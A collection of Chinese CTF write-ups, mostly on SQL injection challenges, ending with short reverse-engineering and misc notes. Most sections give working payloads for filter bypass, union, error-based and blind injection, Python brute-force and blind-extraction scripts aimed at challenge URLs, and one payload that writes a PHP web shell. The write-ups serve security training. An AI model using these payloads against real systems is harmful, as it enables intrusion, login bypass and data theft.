CTF-WEB_SQL注入
1.[强网杯 2019]随便注

1.首先启动并访问靶机,有一个输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入。
2.提交后提示
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your mariadb server version for the right syntax to use near ''' at line 1,
说明后端参数后面有可能存在其他sql语句,我们在1' or 1 = 1后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#,成功输出了该表的所有数据,但是没有flag

3.既然存在sql注入,那么我们手动探测一下其他的表,首先判断一下字段个数:' union select 1,2;#,系统提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);,preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了。
4.既然select关键字无法使用,我们可以通过堆叠注入的方式,来绕过select关键字。
5.查看数据库名:1';show databases;#

6.查看数据表:1';show tables;#

先来看一下第一个表1919810931114514的表
1'; show columns from tableName;#
注意,如果tableName是纯数字,需要用`包裹,比如1';desc `1919810931114514`;#

- 因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
得到flag

法二:
我们可以直接将select * from `1919810931114514`语句进行16进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460,替换payload:
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
同时,我们也可以先定义一个变量并将sql语句初始化,然后调用
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#
方法三:
也可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# ,然后通过1' or 1 = 1 #,成功获取到flag。
法四:
此题还可以通过handle直接出答案:1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
2.[SWPUCTF 2021 新生赛]sql
是否存在注入并且判断注入类型
判断注入类型:使用and1=1 and1=2抑或是?id=1 id=2-1
若为字符型 则还要判断一下闭合方式 。 ‘ “ (一般这两个用的比较多)
选择注释:--+ --(空格)# %23
判断列数1 ' order by 数字 --
确定回显点 -1 ' union select 1,2,3 --
查询数据库名database()
查询表名 -1 ' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='数据库名' --
查询列名 -1 ' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='表名' --
查询flag -1 ' union select 1,2, group_concat(flag所在的列名) from 表名 --
使用union select进行联合查询:要求前后的列数必须要一样
使用group by抑或是order by函数 实际上就是分组的过程(一般使用二分法进行试错)
如何确定回显点
首先理解为什么要把1变为-1抑或是其他值,目的是为了查询后面我们想查询的而不是显示前面无所谓的 换成其他值自然就查不到了
1,2,3其实就是来占位置的 比如我们查到是三列就1,2,3进行占位
自然 确定回显点之后我们就要选择在哪些回显点去回显我们需要的数据库名 表名 列名等信息(有些不直接显示在页面,可以检查去找一下)
表名 列名 数据库名查询如何构造查询语句(此处以一个为例)
-1 ' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='数据库名' --
在3号回显点使用group_cancat函数多行变一行显示table_name(即表名)
from后使用information_schema.tables 指的是从information_schema这个储存了mysql数据库重要信息的数据库中的tables这个数据表中获取数据列
where我理解为一个限定的更加准确的查询 比如你就想查询table_schema='数据库名’ 这个数据库里面的表
information_schema为储存了mysql数据库重要信息的数据库
tables为表名集合的数据表
columns为列名集合的数据表
table_name为数据列
column_name为数据列
查看页面源码得到wllm参数
使用GET以wllm为参数传入单引号页面出现报错,根据报错内容,确定闭合符为单引号。

空格用/**/替换
等号用=替换
测试长度
?wllm=1'order//by//3%23 -- 正常 ?wllm=1'order//by//4%23 -- 错误 -- 测试长度为3
测试回显
?wllm=-1'union/**/select/**/1,2,3%23 # 2,3回显位置
查库
?wllm=-1'union/**/select/**/1,2,database()%23 # test_db
查表
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23 -- LTLT_flag,users
查列
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23 -- id,flag,id,username
查内容
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag%23 -- NSSCTF{e99758c1-d31b
位数长度不足
使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid
mid截取,通过第一次得到的flag长度发现因为回显只能有20个,所以20,一组截取
wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes t_db.LTLT_flag%23
需要读三组,因此三组分别是
wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/tes t_db.LTLT_flag%23 wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/tes t_db.LTLT_flag%23 wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/tes t_db.LTLT_flag%23 NSSCTF{e99758c1-d31b-4497-8d44-abfe84caa0ed}
3.[极客大挑战 2019]EasySQL
我们先来判断一下这里的sql注入类型输入1

页面没有报错,说明不是数字型sql注入;
输入1 " 和1’(注意是英文状态下的符号)发现只有输入1’时,页面会报错,可判断,报错信息发现是基于单引号的注入。是字符型sql注入;而且报错内容会显示在前端说明是显错型,即数据库后端报错信息会显示在前端页面。

万能密码绕过
我们开始尝试用万能密码绕过
’ or 1=1 –’ or ‘a’=‘a’ or ‘’=’admin’ or ‘1’=‘1’ –
以防万一我们在用户名和密码处都填入我们的万能密码,进行绕过

' or 1=1 -- SQL注入绕过原理详解
这个经典的SQL注入攻击字符串' or 1=1 --能够绕过登录验证,其原理如下:
原始SQL语句(正常情况)
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码'
注入后的SQL语句当攻击者输入:
- 用户名:
admin - 密码:
' or 1=1 --
实际执行的SQL变为:
SELECT * FROM users WHERE username = 'admin' AND password = '' or 1=1 --'
关键点解析
单引号闭合:第一个'闭合了密码字段的引号
OR逻辑:or 1=1使条件永远为真(1=1恒成立)
注释符号:--注释掉SQL语句剩余部分(包括原始密码检查)
最终效果:查询变为WHERE username='admin' AND (password='' OR TRUE)
这种攻击之所以能成功,是因为应用程序直接将用户输入拼接到SQL语句中,而没有进行适当的过滤或参数化处理。
方法二:联合注入查询
,由前面可知,只是一个单引号的字符型显错注入,我们输入1' union select 1,2#尝试判断数据库里字段的数量

发现了页面报错,说明字段数不是2,继续用1' union select 1,2,3#发现可以显示出flag

联合注入查询(SQL Union Injection)原理详解
基本概念
联合注入是利用SQL的UNION操作符将恶意查询结果附加到原始查询结果中的攻击技术,是SQL注入中最常用的信息提取手段之一。
攻击步骤解
探测字段数:
输入1' union select 1,2# → 报错(字段数≠2)
输入1' union select 1,2,3# → 成功显示(字段数=3)
原理说明:
UNION要求前后查询的列数必须相同
通过不断增加select 1,2,...n中的数字数量,直到不报错
数字1,2,3等会显示在页面中,标识可回显的位置
实际攻击流程
原始查询:
SELECT * FROM products WHERE id = '用户输入'
攻击者输入:
1' UNION SELECT 1,2,3#
最终执行:
SELECT * FROM products WHERE id = '1' UNION SELECT 1,2,3#'
UNION操作特性:
合并两个SELECT语句的结果集
要求:
两个SELECT必须有相同数量的列
对应列的数据类型必须兼容
攻击者利用方式
- 确定列数(如你示例中的尝试)
- 识别可回显列(页面显示的数字位置)
- 替换为实际查询:(在可回显位置(2,3)插入想获取的信息)
1' UNION SELECT 1,database(),version()#
典型攻击载荷
获取数据库信息:' UNION SELECT 1,database(),version(),4#
获取表名:
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()#
获取表名:
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'#
提取数据
' UNION SELECT 1,username,password FROM users#
4.[UUCTF 2022 新生赛]ezsql
先是万能密码试一试
1' or 1=1#

通过回显知道了三个信息:
注入点在passwd即可,输入的payload被逆向,闭合方式为')
字符串逆向的代码
s = "需要逆向的字符串"
r = s[::-1]
print(r)
注:以下payload都是逆向之前的
1') or 1=1#
1') order by 2#
测出列数为2
1') union select 1,table_name from information_schema.tables where table_schema=database()#
发现or被过滤,双写绕过即可
from->frroom
1') union select 1,table_name frroom information_schema.tables where table_schema=database() #

# 'galf'=eman_elbat dna )(esabatad=amehcs_elbat erehw snmuloc.amehcs_noitamrofni moorrf eman_nmuloc,1 tceles noinu )'1

#galf moorrf FTCUU,1 tceles noinu )'1

5.[SWPUCTF 2022 新生赛]ez_sql
根据提示,POST传参

字符型注入
发现空格被过滤了,用/**/
group by判断字段: nss=1' group/**/by/**/3# 字段数为3
爆当前数据库名: nss=-1' union/**/select/**/1,database(),3#
union呢被过滤了吧,双写union:
什么是“双写绕过”?
原理: 有些 WAF(Web 应用防火墙)或过滤规则是逐字扫描并删除关键词的。例如,如果检测到 union,就直接删掉它。但它们可能只处理一次,不会递归检查删除后是否又拼出了新的关键词。
所以,如果你把 union 写成 ununionion,过滤器第一次看到中间的 union 就会把它删掉,结果剩下的是:union
nss=-1' uunionnion/**/select/**/1,database(),3#

发现回显的还是nss=1的数值(这里不太清楚为什么),那就把-1改成2,因为nss=2时没有回显数值
nss=2' uunionnion/**/select/**/1,database(),3#

得到数据库: NSS_db
爆表
nss=2'/**/ununionion/**/select/**/1,group_concat(table_name),database()/**/from/**/inforinformation_schemamation_schema.tables/**/where/**/table_schema=database()#
查询表内字段名
nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'#

爆字段内容
nss=2' ununionion/**/select/**/1,Secr3t,flll444g/**/from/**/NSS_tb#
6.[SWPUCTF 2024 秋季新生赛]ez_sql

通过常规手法测试出闭合方式和回显位数,发现可以进行联合注入
-1' union select 1,2,3,4#

直接写入一句话木马
payload:-1' union select 1,2,3,"<?php eval($_POST['shell']);?>" into outfile '/var/www/html/99.php'#
访问99.php,可以正常访问



7.NSS [HNCTF 2022 WEEK2]easy_sql
我们常用的SQL注入方法是通过information_schema这个默认数据库来实现,可是你有没有想过,如果过滤了该数据库那么我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:
InnoDb引擎:
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
sys数据库:
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。
但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。
无列名注入使用条件
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。
无列名注入原理
无列名注入的原理其实很简单,就是联合查询创建虚拟数据。可以看作将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以查询字段数一定要相同,如果我们查询的字段多于数据表中列的时候,就会出现报错。

| 过滤字符 | 替换的字符 |
| 空格 | /**/ |
| 注释符 | '1 或者 ;%00 |
| information | 上述无列名注入 |
| order | group |
确定回显位置
# 正常
1'/**/group/**/by/**/3,'1
# error
1'/**/group/**/by/**/4,'1
得到所有数据库:
# 正常语句爆表名的时候,出现error,是因为information被过滤了。
1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/'1
# 换成mysql.innodb_table_stats,但是这个时候就是查询所有数据库里的所有表,没有表和数据库的关系。
1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1

接下来就需要找到flag这个表所在的数据库。
1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/table_name="flag"'
现在就需要查询这个表里写flag的列。发现就得到了flag。
1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1

8[NISACTF 2022]hardsql

爆破密码:
import requests
flag = ""
Str = "1234567890qwertyuiopasdfghjklzxcvbnm"
url = "http://1.14.71.254:28616/login.php"
for i in range(40):
for j in Str:
data = {"username":"bilala","passwd":"-1'/**/or/**/passwd/**/like/**/'{}%'#".format(flag+j)}
response = requests.post(url, data=data)
if b"wrong password" in response.content:
flag = flag + j
print(flag)
break
print(flag)
登录之后看到源码
<?php
//多加了亿点点过滤
include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}
?>
2、Quine注入学习
Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中
关键是它要求强比较相同,但弱比较不同,所以要用到Quine,Quine是一种自生产技术,可以使数据库输入和输出相同。
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#

9.[October 2019]Twice SQL
Injection
- 解题大致思路 username =1' union select database() #
username =1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
username =1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
username =1' union select flag from flag #
每一步都要先注册,在登陆即可
10.[MoeCTF 2022]Sqlmap_boy
过滤空格手工注入绕过
- 具体攻击代码payload 爆库secrets.php?id=-1'%20union%20select%201,database(),3--+爆表secrets.php?id=-1'%20union%20select%201,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+爆字段secrets.php?id=-1'%20union%20select%201,database(),group_concat(column_name) from information_schema.columns where table_name='flag'--+爆字段内容secrets.php?id=-1'%20union%20select%201,database(),group_concat(flAg) from moectf.flag--+
11.[GHCTF 2025]SQL???
输入1' 1"都说是hacker 被ban了
那我们试试1 and 1=1 页面正常输入
1 and 1=2 页面不正常了,说明执行力我们的1=2,报错了
那它在这里存在sql注入
那么这就是数字型
接下来判断几个字段
1 order by 5页面正常
1 order by 6页面报错,服务器不存在
那么可以知道他是5个字段
-1 union select 1,2,3,4,5 --+
发现注入成功
?id=-1 union select 1,2,3,4,database() --+
发现报错,查看不了连接的数据库,那么
database() 函数在 SQLite 中不存在,所以可能是在SQLite,database()仅适用于 MySQL
我们换成select sql from sqlite_master
这样会返回数据库中所有对象的创建SQL语句,就先当于表列名
此时必须用 LIMIT 0,1(或 LIMIT 1)确保子查询只返回一行,不然超出5行了
?id=-1 union select 1,2,3,4,(select sql from sqlite_master limit 0,1 ) --+
回显:CREATE TABLE "flag" ( "flag" TEXT )
12[极客大挑2019]BabySQL--
输入用户名为admin,密码随便输一个:
发现是GET传参,有username和password两个传参点。我们测试一下password点位能不能注入:
单引号闭合报错,根据报错信息,我们可以判断是单引号闭合。
SQL注入
先order by测试一下字段数
`check.php?username=admin&password=1' order by 3--+
报错。看报错信息,吞掉了order的or 和by,即过滤了or和by。使用双写绕过:
check.php?username=admin&password=1' oorrder bbyy 3--+
测试出字段数为3.
顺便用万能密码试试能不能登录:
接下来按联合注入的流程走:
union 和 select 被过滤。双写绕过
check.php?username=admin&password=1' uniunionon selselectect 1,2,3--+
找到相应回显位,这里我们利用回显位3:
check.php?username=admin&password=1' uniunionon selselectect 1,2,database()--+ 数据库名为geek
check.php?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek')--+ 数据表b4bsql,geekuser
check.php?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+ 列名id,username,password
(selselectect group_concat(username,":",passwoorrd) frfromom b4bsql)--+
13.[极客大挑战 2019]FinalSQL
这是我们注意到上面的参数值在随之变化:
他说在下一个,我们就改成id=6看看:
说明注入点应在id这个位置,我们输入:id=6'
显示:Error!
说明存在SQL注入,接着:id=6' or 1=1#
显示:你可别被我逮住了,臭弟弟,说明存在过滤,那过滤了哪些呢?我们来试一下,发现过滤了空格,等号,or,and,union,select这些都过滤得差不多了,报错注入也没法用了,就只能用盲注了。
^没有被过滤,就能用异或与盲注结合,什么是异或?
当我们在尝试SQL注入时,发现union,and被完全过滤掉了,就可以考虑使用异或注入,其规则是:11=0 00=0 0^1=1111=0 110=0
意思是同真/同假 → 假;一真一假 → 真
构造查询语句时就可以构造:id=1(length(database())<4)1#
注意这里会多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的
发现只有等于四的时候是返回真,说明数据库名长度为4,接着就可以用ASCII码来爆出库名,表名和字段名。下面是参考脚本
import requests
import sys
import time
#判断数据库名长度
def get_DBlen(url):
for i in range(1,10):
db_url = url+"1^1^(length(database())=%d)#"%i
r = requests.get(db_url)
if "Click" in r.text:
print("数据库名称的长度为:%d"%i)
return i
#爆数据库名
def get_DBname(url,length):
DBname = ""
length = length + 1
for i in range(1,length):
Max = 122
Min = 41
Mid = (Max+Min)//2
while Min <= Max:
db_url = url+"1^1^(ascii(substr(database(),%d,1))>=%d)#"%(i,Mid)
r = requests.get(db_url)
if "Click" in r.text:
Min=Mid+1
Mid=(Min+Max)//2
pass
else:
Max = Mid-1
Mid = (Min+Max)//2
pass
pass
DBname = DBname + chr(Mid)
print("数据库名:",DBname)
return DBname
def get_TBname(url):
name=""
i = 0
print("字段内容为:")
while True:
i = i+1
Max = 128
Min = 32
Mid = (Max+Min)//2
while Min <= Max:
# 爆表名
# db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid)
# 爆字段名
# db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)
# 获取flag
db_url = url+"1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)"%(i,Mid)
r = requests.get(db_url)
if "Click" in r.text:
Min=Mid+1
Mid=(Min+Max)//2
pass
else:
Max=Mid-1
Mid=(Min+Max)//2
pass
pass
name=name+chr(Mid)
if Mid == 31:
break
print(name)
#速度太快显示不完全
time.sleep(0.5)
if __name__=="__main__":
url = "http://41a8c6b3-f4d5-4b79-9bbc-0bf925168a5f.node4.buuoj.cn/search.php?id="
db_Len = get_DBlen(url)
db_Name = get_DBname(url,db_Len)
tb_name = get_TBname(url)
14.[极客大挑战 2019]HardSQL
1'
单引号的字符型注入
万能密码注入1' or '1'='1
猜测某些字符或者关键字被过滤
空格被过滤了
空格限制
admin
1’(or)
like没有被过滤,使用like可以绕过=号,like <=> =’(or)
重新构造万能密码1'or((1)like(1))#
SQL报错注入常用函数
两个基于XPAT(XML)的报错注入函数
函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
注入原理:
(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)
(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)
其它
函数floor() mysql中用来取整的函数
函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数
使用updatexml()函数进行SQL报错注入爆库1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
查表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
爆字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
查字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
得到前一半flag
使用right()突破字符限制
`1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#`
15.[GXYCTF2019]BabySQli
bp抓包,发现二次编码,先base32解码,再base64解码
可以得出此题的注入点是参数name
判断注入类型
1123
1’123
发生报错可以得出此题的注入类型为字符型注入
尝试万能密码
1’ or ‘1’='1123
猜测’or’关键字或’='字符被过滤
弱口令猜测
首先猜测用户名既有可能是admin密码暂且还不知道
判断字段数
1’ union select 1,2#123
1’ union select 1,2,3#
可知字段数是3
判断用户所在列
1’ union select ‘admin’,2,3#123
判断用户所在列
1’ union select 1,'admin',3#123
查看源码
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
发现参数password被md5加密
看着和之前做过的题很类似
大致就是传进去的值要进行md5值加密
换种方式猜测username数据表里面的3个字段分别是flag、name、password。猜测只有password字段位NULL咱们给参数password传入的值是123那么传进去后,后台就会把123进行md5值加密并存放到password字段当中当我们使用查询语句的时候我们pw参数的值会被md5值进行加密然后再去与之前存入password中的md5值进行比较如果相同就会输出flag
爆flag:
这里pw参数的值为123456可以随便传但是要对传入的那个值进行md5值加密网上可以随便找一个在线md5加密平台
1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’#
123456
16.reverse1
先下载附件
第一步:拖入到Detect中检查软件版本和是否加壳
是64位,没有加壳的软件(壳是对代码的加密,起混淆保护的作用,一般用来阻止逆向)
第二步:拖入到IDEA中检查先使用shift+F12查看字符串

发现存在this is the right flag
点击,使用ctrl + x 查看哪个函数使用了该字符串
使用f5查看伪代码

strncmp函数:strncmp(str1,str2,v3)是把str1与str2两字符串的前v3位数做一个比较,若str1=str2,返回0;大于返回正数,小于返回负数
这个的意思就是如果str1和str2相同,就会输出right flag,说明str2就是flag
str2是hello_world
上面还有一个for循环, for循环是对str2做了一个转换的处理,str2里面ascii码为111的字符会被转换为ascii码为48的字符,在IDA中,选中数字按"R"键可以将数字转换为字符。
即str2中所有的"o"都被转换成了"0"
所以flag为 flag{hell0_w0rld}
17.sandbox
ida查看box函数,发现对输入的字符做了检查(sh、cat、flag)
if ( strchr(buf, 's') || strchr(buf, 'h') || strstr(buf, "cat") || strstr(buf, "flag") || strchr(buf, '-') )
{
puts("Illegal command.");
exit(0);
}
对命令进行处理
首先想办法输入sh进去来提权:输入等价的$0然后发现输什么都不会被拦截,获得flag
18.你竟然赶我走
把图片拖入010
19.[SWPUCTF 2021 新生赛]ez_caesar
下载附件,查看
base64解码,得到:
SXXHYK{dtzmfajpstbhfjxfw}
凯撒解密,位移量5
20.二维码
把二维码拖入010




更多推荐
所有评论(0)